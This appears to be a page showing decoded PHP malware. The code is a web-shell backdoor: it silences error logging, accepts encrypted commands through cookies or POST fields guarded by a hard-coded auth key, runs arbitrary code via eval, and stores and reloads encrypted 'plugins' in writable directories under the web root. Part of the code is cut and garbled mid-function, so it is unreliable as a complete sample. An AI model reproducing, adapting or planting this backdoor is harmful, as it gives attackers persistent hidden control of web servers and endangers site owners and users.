PHP Decode

<?  @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); if(!defined("PHP_EOL")) { define("PHP_EOL", "
"); } if(!defined("DIRECTORY_SEPARATOR")) { define("DIRECTORY_SEPARATOR", "/"); } if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) { define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1); $data = NULL; $data_key = NULL; $GLOBALS['cs_auth'] = '4af8ad63-9880-4c38-9980-804169cbe18d'; global $cs_auth; function cs_GetHost() { return strtolower(preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST'])); } function cs_GetWritableDirs() { $res = Array(); $analysys_queue = Array(); $analysys_queue[] = cs_GetDocRoot(); $self_path = $_SERVER['SCRIPT_FILENAME']; while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE) { $self_path = substr($self_path, 0, $slash); if ($self_path == cs_GetDocRoot()) { break; } if (strlen($self_path)) { $analysys_queue[] = $self_path; } } foreach ($analysys_queue as $current_dir) { if (!in_array($current_dir, $res)) { $res = array_merge($res, cs_GetDirectoryList($current_dir)); } } return cs_CheckWritable(array_unique($res)); } function cs_CheckWritable($dir_list) { $dir_list_writable = Array(); foreach ($dir_list as $dir) { if (@is_writable($dir) && is_dir($dir)) { $dir_list_writable[] = $dir; } } return $dir_list_writable; } function cs_GetDirectoryList($dir, $depth=10) { $result = array(); if (!is_dir($dir)) { return $result; } $result[] = $dir; $dir_count = 0; if ($depth < 1) { return $result; } $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\/'); $h = @opendir($dir); if ($h === FALSE) { return $result; } while (($f = readdir($h)) !== FALSE) { if ($f !== '.' and $f !== '..') { $current_dir = "$dir/$f"; if (is_dir($current_dir)) { $dir_count += 1; $result[] = $current_dir; $result = array_merge($result, cs_GetDirectoryList($current_dir, $depth / 10)); } } } closedir($h); return $result; } function cs_GetDocRoot() { $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']); if ($docroot_end === FALSE) { return $_SERVER['DOCUMENT_ROOT']; } elseif ($docroot_end === 0) { return "/"; } else { return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end); } } if (!function_exists('file_put_contents')) { function file_put_contents($n, $d, $flag = False) { $mode = $flag == 8 ? 'a' : 'w'; $f = @fopen($n, $mode); if ($f === False) { return 0; } else { if (is_array($d)) $d = implode($d); $bytes_written = fwrite($f, $d); fclose($f); return $bytes_written; } } } if (!function_exists('file_get_contents')) { function file_get_contents($filename) { $fhandle = fopen($filename, "r"); $fcontents = fread($fhandle, filesize($filename)); fclose($fhandle); return $fcontents; } } function cs_decrypt_phase($data, $key) { $out_data = ""; for ($i=0; $i$plugin_name) { if (strpos($plugin_name, substr(md5("cache"), 0, 5)) !== False) { @eval(cs_decrypt(cs_file_read($storage_path . "/" . $plugin_name), cs_GetHost())); } } } else { $storage_path = $storage_path . "/" . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost()); if (file_exists($storage_path)) { @eval(cs_decrypt(cs_file_read($storage_path), cs_GetHost())); } } } } function cs_writable_check() { if (strlen(cs_GetCommonStorage()) != 0) { return True; } else { return False; } } foreach ($_COOKIE as $key=>$value) { $data = $value; $data_key = $key; } if (!$data) { foreach ($_POST as $key=>$value) { $data = $value; $data_key = $key; } } $data = @unserialize(cs_decrypt(base64_decode($data), $data_key)); if (isset($data['ak']) && $cs_auth==$data['ak']) { if ($data['a'] == 'i') { $i = Array( 'pv' => @phpversion(), 'sv' => '1.0-2', 'ak' => $data['ak'], ); echo @serialize($i); exit; } elseif ($data['a'] == 'e') { eval($data['d']); } elseif ($data['a'] == 'plugin') { if($data['sa'] == 'add') { cs_plugin_add($data['p'], $data['d']); } elseif($data['sa'] == 'rem') { cs_plugin_rem($data['p']); } } echo $data['ak']; exit(); } cs_plugin_load(); } ?>